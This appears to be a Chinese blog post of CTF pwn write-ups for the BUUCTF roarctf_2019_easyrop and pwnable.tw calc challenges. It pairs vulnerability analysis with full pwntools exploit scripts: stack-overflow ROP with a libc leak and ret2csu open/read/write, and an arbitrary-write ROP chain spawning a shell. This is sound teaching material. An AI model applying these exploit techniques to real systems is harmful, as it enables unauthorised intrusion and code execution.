【PWN刷题】Pwnable-calc、Buu-roarctf_2019_easyrop

题目来源:https://pwnable.tw/challenge


前言

今天事略多,做一道pwnable+一道有分的buu吧


一、Buu-roarctf_2019_easyrop

1.检查保护

开了NX和RELRO,没开Canary和PIE;再查看被禁用的系统调用,标准的orw题目

2.IDA分析

①双击main函数,v5存在明显的栈溢出,while循环并没有检测输入的次数,我们可以覆盖掉ret形成rop链。

 ②再看看sub_401678函数,这个函数会把我们输入的文件名,输出权限用户等信息,不过我们在main函数已经有了栈溢出,所以这个函数没什么用。

 ③思路:1.由于我们是使用数组来覆写数据,所以要先控制数组下标,这里v3的值来源于v8。所以我们在写入0x418个a后,要把接下来的v8覆写为0x428,直接写入\x28即可。接下来再写入的值,就会写到v5[0x428]处,也就是ret地址。

 2.接着,我们要泄露libc,一套puts小妙招,泄露两个got地址,到libc.rip下载对应libc 2.27。

payload = b'a' * 0x418 + b'\x28'
payload += p64(0x401b93) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4019f3)

 3.找了一圈,发现没有pop rdx;ret,所以需要ret2csu了。我们利用下方六个pop可以控制r12~r15,r13~r15放三个参数,r12放函数指针。函数地址我们要写到bss段当成指针用,选用0x06030C0作为bss地址。也可以选用0x06031C0,不过要离栈顶远一点。

 4.实现:先将flag\x00写到bss0上==>将open写到bss1上,利用csu调用bss1的open打开flag=>将read写到bss1上,利用csu调用bss1的read写到bss2上=>将write写到bss1上,利用csu调用bss1的write把flag写到标准输出上。

5.想起来之前做过的一道题,参考文章如下,也可以通过mprotect修改栈权限,将PROT_EXEC关闭,执行shellcode读取flag。

int mprotect(void *addr, size_t len, int prot);

pwn刷题num30----栈溢出修改栈上参数 或 mprotect修改内存权限 + ret2shellcode_tbsqigongzi的博客-CSDN博客BUUCTF-PWN-get_started_3dsctf_2016首先查保护–>看链接类型–>赋予程序可执行权限–>试运行32位程序,小端序开启部分RELRO-----got表仍可写未开启canary保护-----存在栈溢出开启NX保护-----堆栈不可执行未开启PIE-----程序地址为真实地址静态链接Qual a palavrinha magica?中文意思是什么是神奇的词?很奇怪,ida看一下伪代码栈溢出,gets函数输入字符串给v4,未限制输入的https://blog.csdn.net/tbsqigongzi/article/details/124457938

3.EXP

from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")


#p = process('./roarctf_2019_easyrop')
p = remote('node4.buuoj.cn', 29281)
elf = ELF('./roarctf_2019_easyrop')
libc=ELF('./libc6_2.27.so')
#gdb.attach(p, '')

pop_rdi = 0x0000000000401b93
pop_rsi_r15 = 0x0000000000401b91
main = 0x4019f3
csu_pop = 0x0401B8A
csu_call = 0x0401B70

def ret2csu(funP,a1,a2,a3):
	p.recvuntil('>>')
	payload = b'a' * 0x418 + b'\x28'
	payload += p64(csu_pop) + p64(0)+ p64(1) + p64(funP) + p64(a1) + p64(a2) + p64(a3) 
	payload += p64(csu_call) + b'A'*56 + p64(main)
	p.sendline(payload)
	

#-----------------------------------leaklibc----------------------------------
p.recvuntil('>>')
payload = b'a' * 0x418 + b'\x28'
payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main)
p.sendline(payload)
p.recvuntil("\n\x00")
libc_puts = u64(p.recv(6).ljust(8,b'\x00'))
print(libc_puts)

#------------------------------------orw_libc---------------------------------
libc_base=libc_puts-libc.symbols["puts"]
#print(libc_base)
libc_open=libc.symbols["open"]+libc_base	#open
libc_read=libc.symbols["read"]+libc_base	#read
libc_write=libc.symbols["write"]+libc_base	#write
#print(libc_open)
#-----------------------------------openfile----------------------------------
p.recvuntil('>>')
p1=b'a' * 0x418 + b'\x28' + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x06030C0) + p64(0) + p64(libc_read) + p64(main)
p.sendline(p1)
p.sendline(b'flag\x00')#flag=>0x06030C0

p.recvuntil('>>')
p1=b'a' * 0x418 + b'\x28' + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x06030C8) + p64(0) + p64(libc_read) + p64(main)
p.sendline(p1)
p.sendline(p64(libc_open))#libc_open=>0x06030C8
ret2csu(0x06030C8,0x06030C0,0,0)

#-----------------------------------readflag---------------------------------
p.recvuntil('>>')
p1=b'a' * 0x418 + b'\x28' + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x06030C8) + p64(0) + p64(libc_read) + p64(main)
p.sendline(p1)
p.sendline(p64(libc_read))

ret2csu(0x6030C8,3,0x06041C0,0x50)

#-----------------------------------writeflag----------------------------------
p.recvuntil('>>')
p1=b'a' * 0x418 + b'\x28' + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x06030C8) + p64(0) + p64(libc_read) + p64(main)
p.sendline(p1)
p.sendline(p64(libc_write))

ret2csu(0x6030C8,2,0x06041C0,0x50)


p.interactive()

二、Pwnable-calc

1.检查保护

开了NX和Canary,可能需要泄露Canary或者任意地址写

2.IDA分析

①双击calc(),发现parse_expr是处理输入和运算的函数。在第32行的if循环,a2[0]中存放着操作数栈大小,从a2[1]开始存放操作数。

 ②其中,eval函数会通过res操作数栈和op操作符执行对应的计算,并且把结果保存到res[res[0]-1]中。res[0]是我们上边说到的操作数栈大小,也就是有多少个数。如果我们可以控制res[0],就可以做到任意地址读写。当我们只输入第二个操作数时,再执行eval计算会出现res[1-1]+=res[1],成功篡改了res[0]。这时,我们直接输入+100+10,就可以把res[100]的地方加上10。

 ③思路:泄露栈地址==>覆盖ret,在原地址存的值加上与我们想修改值的差==>ROP链getshell

 3.EXP

#!/usr/bin/env python3
# coding = utf-8

from pwn import *
context(arch = "i386", os = "linux", log_level = "debug")

#p = process('./calc')
p = remote('chall.pwnable.tw',10100)
#gdb.attach(p, '')

p.recvuntil('===')
p.sendline(b'+360')
p.recv()
binsh_addr = int(p.recv())


eax=0x0805c34b
edx_ecx_ebx=0x080701d1
int80=0x08049a21


add_address = [eax,0xb,edx_ecx_ebx,0,0,binsh_addr,int80,0x6e69622f,0x0068732f]


for i in range(len(add_address)):
    p.sendline("+"+str(361+i))
    num = int(p.recvline())
    
    add_num = add_address[i] - num
    if add_num > 0 :
        p.sendline("+"+str(361+i)+"+"+str(add_num))
        p.recvline()
    else:
        p.sendline("+"+str(361+i)+str(add_num))
        p.recvline()


p.interactive()


  • 18
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值